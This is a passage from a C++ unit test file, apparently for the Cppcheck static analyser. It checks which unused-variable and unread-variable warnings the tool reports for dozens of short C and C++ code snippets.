\" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int x;\\n\"\n \" a[0] = 0;\\n\"\n \" x = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // extracttests.start: int f();\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c;\\n\"\n \" a = b = c = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"int * foo()\\n\"\n \"{\\n\"\n \" return &undefined[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar9() {\n // ticket #1605\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; )\\n\"\n \" a[i++] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Variable 'a[i++]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar10() {\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" int i;\\n\"\n \" else\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i;\\n\"\n \" }\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:7]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n }\n\n void localvar11() {\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 0;\\n\"\n \" if (x == 1)\\n\"\n \" {\\n\"\n \" a = 123;\\n\" // redundant assignment\n \" return;\\n\"\n \" }\\n\"\n \" x = a;\\n\" // redundant assignment\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:9:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // The variable 'a' is initialized. But the initialized value is\n // never used. It is only initialized for security reasons.\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 0;\\n\"\n \" if (x == 1)\\n\"\n \" a = 123;\\n\"\n \" else if (x == 2)\\n\"\n \" a = 456;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \" x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar12() {\n // ticket #1574\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c, d, e, f;\\n\"\n \" a = b = c = d = e = f = 15;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:19]: (style) Variable 'd' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:23]: (style) Variable 'e' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:27]: (style) Variable 'f' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c = 0;\\n\"\n \" a = b = c;\\n\"\n \"\\n\"\n \"}\");\n\n TODO_ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\",\n\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar13() { // ticket #1640\n // extracttests.start: struct OBJECT { int ySize; };\n functionVariableUsage(\"void foo( OBJECT *obj )\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" x = obj->ySize / 8;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar14() {\n // ticket #5\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n }\n\n void localvar15() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" int b[a];\\n\"\n \" b[0] = 0;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" int * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return *b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" const int * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct B * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" struct B * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"const struct B * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" const struct B * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar16() { // ticket #1709\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[5];\\n\"\n \" char *ptr = buf;\\n\"\n \" *(ptr++) = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'buf' is assigned a value that is never used.\\n\", \"\", errout_str());\n\n // #3910\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf[5];\\n\"\n \" char *data[2];\\n\"\n \" data[0] = buf;\\n\"\n \" do_something(data);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[5];\\n\"\n \" char buf2[5];\\n\"\n \" char *data[2];\\n\"\n \" data[0] = buf1;\\n\"\n \" data[1] = buf2;\\n\"\n \" do_something(data);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar17() { // ticket #1720\n // extracttests.disable\n // Don't crash when checking the code below!\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct DATA *data = DATA;\\n\"\n \" char *k = data->req;\\n\"\n \" char *ptr;\\n\"\n \" char *line_start;\\n\"\n \" ptr = data->buffer;\\n\"\n \" line_start = ptr;\\n\"\n \" data->info = k;\\n\"\n \" line_start = ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:16]: (style) Variable 'line_start' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n // extracttests.enable\n }\n\n void localvar18() { // ticket #1723\n functionVariableUsage(\"A::A(int iValue) {\\n\"\n \" UserDefinedException* pe = new UserDefinedException();\\n\"\n \" throw pe;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar19() { // ticket #1776\n functionVariableUsage(\"void foo() {\\n\"\n \" int a[10];\\n\"\n \" int c;\\n\"\n \" c = *(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:9]: (style) Variable 'a' is not assigned a value. [unassignedVariable]\\n\", errout_str());\n }\n\n void localvar20() { // ticket #1799\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char c1 = 'c';\\n\"\n \" char c2[] = { c1 };\\n\"\n \" a(c2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar21() { // ticket #1807\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buffer[1024];\\n\"\n \" bar((void *)buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar22() { // ticket #1811\n functionVariableUsage(\"int foo(int u, int v)\\n\"\n \"{\\n\"\n \" int h, i;\\n\"\n \" h = 0 ? u : v;\\n\"\n \" i = 1 ? u : v;\\n\"\n \" return h + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar23() { // ticket #1808\n functionVariableUsage(\"int foo(int c)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b[10];\\n\"\n \" a = b[c] = 0;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Variable 'b[c]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar24() { // ticket #1803\n functionVariableUsage(\"class MyException\\n\"\n \"{\\n\"\n \" virtual void raise() const\\n\"\n \" {\\n\"\n \" throw *this;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar25() { // ticket #1729\n functionVariableUsage(\"int main() {\\n\"\n \" int ppos = 1;\\n\"\n \" int pneg = 0;\\n\"\n \" const char*edge = ppos? \\\" +\\\" : pneg ? \\\" -\\\" : \\\"\\\";\\n\"\n \" printf(\\\"This should be a '+' -> %s\\\\n\\\", edge);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar26() { // ticket #1894\n functionVariableUsage(\"int main() {\\n\"\n \" const Fred &fred = getfred();\\n\"\n \" int *p = fred.x();\\n\"\n \" *p = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar27() { // ticket #2160\n functionVariableUsage(\"void f(struct s *ptr) {\\n\"\n \" int param = 1;\\n\"\n \" ptr->param = param++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Variable 'param' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar28() { // ticket #2205\n functionVariableUsage(\"void f(char* buffer, int value) {\\n\"\n \" char* pos = buffer;\\n\"\n \" int size = value;\\n\"\n \" *(int*)pos = size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar29() { // ticket #2206\n functionVariableUsage(\"void f() {\\n\"\n \" float s_ranges[] = { 0, 256 };\\n\"\n \" float* ranges[] = { s_ranges };\\n\"\n \" cout << ranges[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar30() { // ticket #2264\n functionVariableUsage(\"void f() {\\n\"\n \" Engine *engine = e;\\n\"\n \" x->engine = engine->clone();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar31() { // ticket #2286\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" a.x = x - b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar32() {\n // ticket #2330 - fstream >> x\n functionVariableUsage(\"void f() {\\n\"\n \" int x;\\n\"\n \" fstream &f = getfile();\\n\"\n \" f >> x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #4596 - if (c >>= x) {}\n functionVariableUsage(\"void f(int x) {\\n\"\n \" C c;\\n\" // possibly some stream class\n \" if (c >>= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (information) --check-library: Provide configuration for C [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int x) {\\n\"\n \" C c;\\n\"\n \" if (c >>= x) {}\\n\"\n \"}\", dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:11]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x, y;\\n\"\n \" std::cin >> x >> y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #8494\n functionVariableUsage(\"void f(C c) {\\n\"\n \" int x;\\n\"\n \" c & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar33() { // ticket #2345\n functionVariableUsage(\"void f() {\\n\"\n \" Abc* abc = getabc();\\n\"\n \" while (0 != (abc = abc->next())) {\\n\"\n \" ++nOldNum;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar34() { // ticket #2368\n functionVariableUsage(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" if (false) {\\n\"\n \" } else {\\n\"\n \" j -= i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar35() { // ticket #2535\n functionVariableUsage(\"void f() {\\n\"\n \" int a, b;\\n\"\n \" x(1,a,b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar36() { // ticket #2805\n functionVariableUsage(\"int f() {\\n\"\n \" int a, b;\\n\"\n \" a = 2 * (b = 3);\\n\"\n \" return a + b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // ticket #4318\n \" int a,b;\\n\"\n \" x(a, b=2);\\n\" // <- if param2 is passed-by-reference then b might be used in x\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // ticket #6147\n \" int a = 0;\\n\"\n \" bar(a=a+2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // ticket #6147\n \" int a = 0;\\n\"\n \" bar(a=2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n functionVariableUsage(\"void bar(int);\\n\"\n \"int foo() {\\n\"\n \" int a = 0;\\n\"\n \" bar(a=a+2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void localvar37() { // ticket #3078\n functionVariableUsage(\"void f() {\\n\"\n \" int a = 2;\\n\"\n \" ints.at(a) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar38() {\n functionVariableUsage(\"std::string f() {\\n\"\n \" const char code[] = \\\"foo\\\";\\n\"\n \" const std::string s1(sizeof_(code));\\n\"\n \" const std::string s2 = sizeof_(code);\\n\"\n \" return(s1+s2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar39() {\n functionVariableUsage(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" foo(x*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar40() {\n functionVariableUsage(\"int f() {\\n\"\n \" int a = 1;\\n\"\n \" return x & a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar41() {\n // #3603 - false positive 'x is assigned a value that is never used'\n functionVariableUsage(\"int f() {\\n\"\n \" int x = 1;\\n\"\n \" int y = FOO::VALUE * x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar42() { // #3742\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncError()\\n\"\n \"{\\n\"\n \" const float floatA = 2.2f;\\n\"\n \" const float floatTot = g_float * floatA;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncNoError()\\n\"\n \"{\\n\"\n \" const float floatB = 2.2f;\\n\"\n \" const float floatTot = floatB * g_float;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"float g_float = 1;\\n\"\n \"extern void SomeTestFunc(float);\\n\"\n \"void MyFuncNoError2()\\n\"\n \"{\\n\"\n \" const float floatC = 2.2f;\\n\"\n \" float floatTot = g_float * floatC;\\n\"\n \" SomeTestFunc(floatTot);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar43() { // ticket #3602 (false positive)\n functionVariableUsage(\"void bar()\\n\"\n \"{\\n\"\n \" int * piArray = NULL;\\n\"\n \" unsigned int uiArrayLength = 2048;\\n\"\n \" unsigned int uiIndex;\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" piArray = new int[uiArrayLength];\\n\" // Allocate memory\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" SOME_MACRO\\n\"\n \" delete [] piArray;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" for (uiIndex = 0; uiIndex < uiArrayLength; uiIndex++)\\n\"\n \" {\\n\"\n \" piArray[uiIndex] = -1234;\\n\"\n \" }\\n\"\n \" delete [] piArray;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // #9877\n \" const std::vector x = get();\\n\"\n \" MACRO(2U, x.size())\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar44() { // #4020 - FP\n functionVariableUsage(\"void func() {\\n\"\n \" int *sp_mem[2] = { global1, global2 };\\n\"\n \" sp_mem[0][3] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar45() { // #4899 - FP\n functionVariableUsage(\"int func() {\\n\"\n \" int a = 123;\\n\"\n \" int b = (short)-a;;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar46() { // #5491/#5494/#6301\n functionVariableUsage(\"int func() {\\n\"\n \" int i = 0;\\n\"\n \" int j{i};\\n\"\n \" return j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(bool b, bool c, double& r) {\\n\"\n \" double d{};\\n\"\n \" if (b) {\\n\"\n \" d = g();\\n\"\n \" r += d;\\n\"\n \" }\\n\"\n \" if (c) {\\n\"\n \" d = h();\\n\"\n \" r += d;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int func() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock l{ m };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int func() {\\n\"\n \" std::shared_lock lock( m );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10490\n \" std::shared_lock lock = GetLock();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" auto&& g = std::lock_guard { mutex };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:2:14]: (style) Variable 'g' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" auto a = RAII();\\n\"\n \" auto b { RAII() };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct RAIIWrapper {\\n\" // #10894\n \" RAIIWrapper();\\n\"\n \" ~RAIIWrapper();\\n\"\n \"};\\n\"\n \"static void foo() {\\n\"\n \" auto const guard = RAIIWrapper();\\n\"\n \" auto const& guard2 = RAIIWrapper();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar47() { // #6603\n // extracttests.disable\n functionVariableUsage(\"void f() {\\n\"\n \" int (SfxUndoManager::*retrieveCount)(bool) const\\n\"\n \" = (flag) ? &SfxUndoManager::foo : &SfxUndoManager::bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'retrieveCount' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n // extracttests.enable\n }\n\n void localvar48() { // #6954\n functionVariableUsage(\"void foo() {\\n\"\n \" long (*pKoeff)[256] = new long[9][256];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar49() { // #7594\n functionVariableUsage(\"class A {\\n\"\n \" public:\\n\"\n \" typedef enum { ID1,ID2,ID3 } Id_t;\\n\"\n \" typedef struct {Id_t id; std::string a; } x_t;\\n\"\n \" std::vector m_vec;\\n\"\n \" std::vector Get(void);\\n\"\n \" void DoSomething();\\n\"\n \"};\\n\"\n \"std::vector A::Get(void) {\\n\"\n \" return m_vec;\\n\"\n \"}\\n\"\n \"const std::string Bar() {\\n\"\n \" return \\\"x\\\";\\n\"\n \"}\\n\"\n \"void A::DoSomething(void) {\\n\"\n \" const std::string x = Bar();\\n\" // <- warning\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:16:25]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:16:23]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvar50() { // #6261, #6542\n // #6261 - ternary operator in function call\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[10];\\n\"\n \" dostuff(cond?buf1:buf2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" char buf1[10];\\n\"\n \" dostuff(cond?buf2:buf1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6542 - ternary operator\n functionVariableUsage(\"void foo(int c) {\\n\"\n \" char buf1[10], buf2[10];\\n\"\n \" char *p = c ? buf1 : buf2;\\n\"\n \" dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar51() { // #8128 FN\n // extracttests.start: struct Token { const Token* next() const; }; const Token* nameToken();\n functionVariableUsage(\"void foo(const Token *var) {\\n\"\n \" const Token *tok = nameToken();\\n\"\n \" tok = tok->next();\\n\" // read+write\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 'tok' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int x = 4;\\n\"\n \" x = 15 + x;\\n\" // read+write\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar52() {\n functionVariableUsage(\"void foo() {\\n\"\n \" std::vector data;\\n\"\n \" data[2] = 32;\\n\"\n \" return data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar53() {\n functionVariableUsage(\"void foo(int a, int loop) {\\n\"\n \" bool x = false;\\n\"\n \" while (loop) {\\n\"\n \" if (a) {\\n\"\n \" x = true;\\n\" // unused value\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int a, int loop) {\\n\"\n \" bool x = false;\\n\"\n \" while (loop) {\\n\"\n \" if (a) {\\n\"\n \" x = true;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar54() {\n functionVariableUsage(\"Padding fun() {\\n\"\n \" Distance d = DISTANCE;\\n\"\n \" return (Padding){ d, d, d, d };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar55() {\n functionVariableUsage(\"void f(int mode) {\\n\"\n \" int x = 0;\\n\" // <- redundant assignment\n \"\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" if (mode == 0x04)\\n\"\n \" x = 0;\\n\" // <- redundant assignment\n \" if (mode == 0x0f) {\\n\"\n \" x = address;\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar56() {\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int x = 31;\\n\"\n \" mask[x] |= 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar57() {\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar58() { // #9901 - increment false positive\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (--x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (x-- > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar59() { // #9737\n functionVariableUsage(\"Response foo() {\\n\"\n \" const std::vector cmanifest = z;\\n\"\n \" return {.a = cmanifest, .b =0};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar60() {\n functionVariableUsage(\"void Scale(double scale) {\\n\" // #10531\n \" for (int i = 0; i < m_points.size(); ++i) {\\n\"\n \" auto& p = m_points[i];\\n\"\n \" p += scale;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int c[]) {\\n\" // #10597\n \" int& cc = c[0];\\n\"\n \" cc &= ~0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar61() { // #9407\n functionVariableUsage(\"void g(int& i);\\n\"\n \"void f() {\\n\"\n \" int var = 0;\\n\"\n \" g(var);\\n\"\n \" var = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Variable 'var' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar62() {\n functionVariableUsage(\"void f() {\\n\" // #10824\n \" S* s = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" S* 